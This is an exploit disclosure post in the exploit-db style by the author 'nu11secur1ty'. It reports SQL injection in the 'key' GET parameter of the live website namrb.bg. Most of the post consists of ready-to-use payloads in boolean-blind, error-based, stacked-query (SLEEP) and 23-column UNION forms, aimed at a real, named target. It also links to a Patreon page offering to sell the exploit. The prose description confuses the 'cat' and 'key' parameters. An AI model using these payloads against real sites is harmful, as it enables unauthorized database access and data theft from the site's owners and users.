📄 namrb.bg SQL Injection

# Titles: namrb.bg app-Multiple-SQLi
    # Author: nu11secur1ty
    # Date: 09/15/2025
    # Vendor: https://www.namrb.bg/
    # Software: https://www.namrb.bg/
    # Reference: https://portswigger.net/web-security/sql-injection
    
    ## Description:
    The `key` parameter appears to be vulnerable to SQL injection attacks. A
    single quote was submitted in the cat parameter, and a database error
    message was returned. Two single quotes were then submitted and the error
    message disappeared. You should review the contents of the error message,
    and the application's handling of other input, to confirm whether a
    vulnerability is present.
    
    STATUS: HIGH-CRITICAL Vulnerability
    
    
    [+]Exploit:
    - SQLi:
    
    ```SQLi
    ---
    Parameter: key (GET)
        Type: boolean-based blind
        Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
        Payload: year=0&cat=0'&key=')) OR NOT 2666=2666 AND
    (('yXjW'='yXjW&s_search=%D0%A2%D1%8A%D1%80%D1%81%D0%B5%D0%BD%D0%B5
    
        Type: error-based
        Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
    BY clause (FLOOR)
        Payload: year=0&cat=0'&key=')) OR (SELECT 4704 FROM(SELECT
    COUNT(*),CONCAT(0x71707a7171,(SELECT
    (ELT(4704=4704,1))),0x7171766b71,FLOOR(RAND(0)*2))x FROM
    INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
    (('nghM'='nghM&s_search=%D0%A2%D1%8A%D1%80%D1%81%D0%B5%D0%BD%D0%B5
    
        Type: stacked queries
        Title: MySQL >= 5.0.12 stacked queries (comment)
        Payload: year=0&cat=0'&key='));SELECT
    SLEEP(11)#&s_search=%D0%A2%D1%8A%D1%80%D1%81%D0%B5%D0%BD%D0%B5
    
        Type: UNION query
        Title: MySQL UNION query (UCHAR) - 23 columns
        Payload: year=0&cat=0'&key=')) UNION ALL SELECT
    'UCHAR','UCHAR','UCHAR','UCHAR',CONCAT(0x71707a7171,0x786a4a644251656873507a717a76504c50617258467463526e61716e766d7342414d41636e544153,0x7171766b71),'UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR','UCHAR'#&s_search=%D0%A2%D1%8A%D1%80%D1%81%D0%B5%D0%BD%D0%B5
    ---
    ```
    ##WARNING:
    This has ALREADY been reported to the OWNER of this web application! If you
    BUY THIS POST, YOU WILL BE AUTOMATICALLY RESPONSIBLE IN FRONT OF THE LAW!
    THIS IS ONLY FOR THE OWNERS OF THIS WEB APPLICATION! THANK YOU!
    
    # Reproduce:
    [href](https://www.patreon.com/posts/namrb-org-sqli-138413412)
    
    # Buy an exploit only:
    [href](https://www.patreon.com/posts/namrb-org-sqli-138413412)
    
    # Time spent:
    00:15:00
    
    
    -- 
    System Administrator - Infrastructure Engineer
    Penetration Testing Engineer
    Exploit developer at https://packetstormsecurity.com/
    https://cve.mitre.org/index.html
    https://cxsecurity.com/ and https://www.exploit-db.com/
    home page: https://www.nu11secur1ty.com/
    hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                              nu11secur1ty <http://nu11secur1ty.com/>